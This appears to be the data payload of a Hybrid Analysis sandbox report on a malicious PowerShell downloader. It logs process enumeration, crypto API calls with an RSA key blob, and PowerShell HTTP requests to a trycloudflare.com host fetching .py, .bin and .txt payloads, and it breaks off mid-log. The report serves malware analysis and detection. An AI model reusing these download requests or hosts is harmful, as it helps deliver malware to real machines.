26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 62:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T4e3,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious TrojanDownloader/PS.Agent Sample 2cab35576d40… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 2cab35576d40…. Malware family: TrojanDownloader/PS.Agent. Threat score 100/100. 1/25 AV engines flagged this file. 7 malicious and 13 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/2cab35576d40a8dd509ec54d0a6654597f2566f1e2fb0fa1635573c391c60a1d","keywords":["Malicious","TrojanDownloader/PS.Agent","malware analysis","sandbox report","threat intelligence","2cab35576d40a8dd509ec54d0a6654597f2566f1e2fb0fa1635573c391c60a1d"],"about":{"@type":"SoftwareApplication","name":"2cab35576d40a8dd509ec54d0a6654597f2566f1e2fb0fa1635573c391c60a1d.bin","applicationCategory":["script","bat"],"identifier":"2cab35576d40a8dd509ec54d0a6654597f2566f1e2fb0fa1635573c391c60a1d","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"TrojanDownloader/PS.Agent","antivirusDetections":{"malicious":1,"total":25},"behavioralIndicators":{"malicious":7,"suspicious":13},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T9e0,"cmd.exe" queried SystemProcessInformation at 00000000-00002240-00000C15-1667736844 [PID: 2240] "cmd.exe" queried SystemProcessInformation at 00000000-00002240-00000C15-1667755723 [PID: 2240] "cmd.exe" queried SystemProcessInformation at 00000000-00002240-00000C15-1668012460 [PID: 2240] "cmd.exe" queried SystemProcessInformation at 00000000-00002240-00000C15-1668021237 [PID: 2240] "cmd.exe" queried SystemProcessInformation at 00000000-00002240-00000C15-1668476615 [PID: 2240] "cmd.exe" queried SystemProcessInformation at 00000000-00002240-00000C15-1668485789 [PID: 2240] "cmd.exe" queried SystemProcessInformation at 00000000-00002240-00000C15-1668734005 [PID: 2240] "cmd.exe" queried SystemProcessInformation at 00000000-00002240-00000C15-1668742770 [PID: 2240] "cmd.exe" queried SystemProcessInformation at 00000000-00002240-00000C15-1668934185 [PID: 2240] "cmd.exe" queried SystemProcessInformation at 00000000-00002240-00000C15-1668943192 [PID: 2240] "powershell.exe" queried SystemProcessInformation at 00000000-00003044-00000C15-1670142136 [PID: 3044] "powershell.exe" queried SystemProcessInformation at 00000000-00003044-00000C15-1670150430 [PID: 3044] "powershell.exe" queried SystemProcessInformation at 00000000-00003044-00000C15-1673118578 [PID: 3044] "powershell.exe" queried SystemProcessInformation at 00000000-00003044-00000C15-1673139734 [PID: 3044] "powershell.exe" queried SystemProcessInformation at 00000000-00003044-00000C15-1674397968 [PID: 3044] "powershell.exe" queried SystemProcessInformation at 00000000-00003044-00000C15-1674468767 [PID: 3044] "powershell.exe" queried SystemProcessInformation at 00000000-00003044-00000C15-1675234345 [PID: 3044] "powershell.exe" queried SystemProcessInformation at 00000000-00003044-00000C15-1675244509 [PID: 3044] "powershell.exe" queried SystemProcessInformation at 00000000-00003044-00000C15-1675381998 [PID: 3044] "powershell.exe" queried SystemProcessInformation at 00000000-00003044-00000C15-1675399809 [PID: 3044] "powershell.exe" queried SystemProcessInformation at 00000000-00003044-00000C15-1677249154 [PID: 3044] "powershell.exe" queried SystemProcessInformation at 00000000-00003044-00000C15-1677758294 [PID: 3044] "powershell.exe" queried SystemProcessInformation at 00000000-00003044-00000C15-1677767429 [PID: 3044] "powershell.exe" queried SystemProcessInformation at 00000000-00003044-00000C15-1678199570 [PID: 3044] "powershell.exe" queried SystemProcessInformation at 00000000-00003044-00000C15-1678209602 [PID: 3044]28:Tc38,"powershell.exe" called "CryptAcquireContextW" with parameters {"phProv": "e047e731f1010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextW" with parameters {"phProv": "e049e731f1010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextW" with parameters {"phProv": "e033e731f1010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextW" with parameters {"phProv": "e0dc184cf1010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "e0c6184cf1010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "e0c4184cf1010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "e0ca184cf1010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "e0f2184cf1010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "e0ef184cf1010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "e0d2184cf1010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "e0e8184cf1010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "e0e6184cf1010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "e0ee184cf1010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "e0c8184cf1010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "e0ec184cf1010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "e0bb184cf1010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "e0f5184cf1010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "e0f9184cf1010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "e0e3184cf1010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "e0d9184cf1010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextW" with parameters {"phProv": "e0e1184cf1010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextW" with parameters {"phProv": "e0dd184cf1010000" "szProvider": "Microsoft Enhanced RSA and AES Cryptographic Provider" "dwProvType": "24" "dwFlags": "4026531840"}29:T134b,"powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1f131e948c0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "9022ea31f1010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1f131e948c0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "d024ea31f1010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1f131e948c0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "`(" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1f131e948c0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "60f9e931f1010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1f131e948c0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "30f6e931f1010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1f131e948c0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "c0640d4cf1010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1f131e948c0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "@cL" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1f131e948c0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "e0be114cf1010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1f131e948c0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "30bdec31f1010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1f131e948c0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "70b9ec31f1010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1f131e948c0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "80b8ec31f1010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1f131e948c0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "80c1ec31f1010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1f131e948c0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "70c2ec31f1010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1f131e948c0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "90c3ec31f1010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1f131e948c0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "60c0ec31f1010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1f131e948c0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "c0bdec31f1010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1f131e948c0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "70bcec31f1010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1f131e948c0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "60d5ec31f1010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1f131e948c0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "20d3ec31f1010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1f131e948c0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "d0d4ec31f1010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1f14c10b440" "pszBlobType": "RSAPUBLICBLOB" "phKey": "60b70e4cf1010000" "pbInput": "RSA1" "cbInput": "283" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1f14c10b940" "pszBlobType": "RSAPUBLICBLOB" "phKey": "e0ac0e4cf1010000" "pbInput": "RSA1" "cbInput": "291" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1f14c10b940" "pszBlobType": "RSAPUBLICBLOB" "phKey": "00b70e4cf1010000" "pbInput": "RSA1" "cbInput": "291" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1f14c10b440" "pszBlobType": "RSAPUBLICBLOB" "phKey": "80af0e4cf1010000" "pbInput": "RSA1" "cbInput": "539" "dwFlags": "0"}2a:T23c6,"powershell.exe" called "CryptImportKey" with parameters {"hProv": "1f131e747e0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "40cde831f1010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1f131e747e0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "00c8e831f1010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1f131e747e0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "c0d0e831f1010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1f131e747e0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "10cbe831f1010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1f131e749e0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "6007eb31f1010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1f131e749e0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "e0fcea31f1010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1f131e749e0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "b008eb31f1010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1f131e747e0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "c0fdea31f1010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1f131e747e0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "6000eb31f1010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1f131e749e0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "c02e124cf1010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1f131e747e0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "6038124cf1010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1f131e747e0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "d038124cf1010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1f131e747e0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "c03c124cf1010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1f131e747e0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "b032124cf1010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1f131e747e0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "4039124cf1010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1f131e747e0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "503c124cf1010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1f131e747e0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "b039124cf1010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1f131e733e0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "704e144cf1010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1f131e733e0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "c04f144cf1010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1f131e749e0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "f051144cf1010000"}2b:T419a,Contains base64 string in header "opposite" in header "GET /xt/zmorf.py HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248Host: opposite-lodge-strict-closes.trycloudflare.comConnection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /xt/zmorf.py HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248Host: opposite-lodge-strict-closes.trycloudflare.comConnection: Keep-Alive" Contains base64 string in header "opposite" in header "GET /xt/BB1.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248Host: opposite-lodge-strict-closes.trycloudflare.com" Contains base64 string in header "opposite" in header "GET /xt/BB1.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248Host: opposite-lodge-strict-closes.trycloudflare.com" Contains base64 string in header "opposite" in header "GET /xt/s1.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248Host: opposite-lodge-strict-closes.trycloudflare.com" Contains base64 string in header "opposite" in header "GET /xt/s1.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248Host: opposite-lodge-strict-closes.trycloudflare.com" Contains base64 string in header "opposite" in header "GET /xt/s2.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248Host: opposite-lodge-strict-closes.trycloudflare.com" Contains base64 string in header "opposite" in header "GET /xt/s2.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248Host: opposite-lodge-strict-closes.trycloudflare.com" Contains base64 string in header "opposite" in header "GET /G143822563.pdf HTTP/2Host: opposite-lodge-strict-closes.trycloudflare.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.56Sec-Fetch-Mode: navigateSec-Ch-Ua: "Microsoft Edge";v="107", "Chromium";v="107", "Not=A?Brand";v="24"Sec-Ch-Ua-Mobile: ?0Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1Sec-Fetch-User: ?1Accept-Encoding: gzip, deflate, brAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Dest: document" Contains base64 string in header "like" in header "GET /G143822563.pdf HTTP/2Host: opposite-lodge-strict-closes.trycloudflare.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.56Sec-Fetch-Mode: navigateSec-Ch-Ua: "Microsoft Edge";v="107", "Chromium";v="107", "Not=A?Brand";v="24"Sec-Ch-Ua-Mobile: ?0Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1Sec-Fetch-User: ?1Accept-Encoding: gzip, deflate, brAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Dest: document" Contains base64 string in header "1418" in header "GET /G143822563.pdf HTTP/2Host: opposite-lodge-strict-closes.trycloudflare.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.56Sec-Fetch-Mode: navigateSec-Ch-Ua: "Microsoft Edge";v="107", "Chromium";v="107", "Not=A?Brand";v="24"Sec-Ch-Ua-Mobile: ?0Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1Sec-Fetch-User: ?1Accept-Encoding: gzip, deflate, brAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Dest: document" Contains base64 string in header "Mode" in header "GET /G143822563.pdf HTTP/2Host: opposite-lodge-strict-closes.trycloudflare.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.56Sec-Fetch-Mode: navigateSec-Ch-Ua: "Microsoft Edge";v="107", "Chromium";v="107", "Not=A?Brand";v="24"Sec-Ch-Ua-Mobile: ?0Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1Sec-Fetch-User: ?1Accept-Encoding: gzip, deflate, brAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Dest: document" Contains base64 string in header "Edge" in header "GET /G143822563.pdf HTTP/2Host: opposite-lodge-strict-closes.trycloudflare.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.56Sec-Fetch-Mode: navigateSec-Ch-Ua: "Microsoft Edge";v="107", "Chromium";v="107", "Not=A?Brand";v="24"Sec-Ch-Ua-Mobile: ?0Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1Sec-Fetch-User: ?1Accept-Encoding: gzip, deflate, brAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Dest: document" Contains base64 string in header "Chromium" in header "GET /G143822563.pdf HTTP/2Host: opposite-lodge-strict-closes.trycloudflare.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.56Sec-Fetch-Mode: navigateSec-Ch-Ua: "Microsoft Edge";v="107", "Chromium";v="107", "Not=A?Brand";v="24"Sec-Ch-Ua-Mobile: ?0Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1Sec-Fetch-User: ?1Accept-Encoding: gzip, deflate, brAccept: 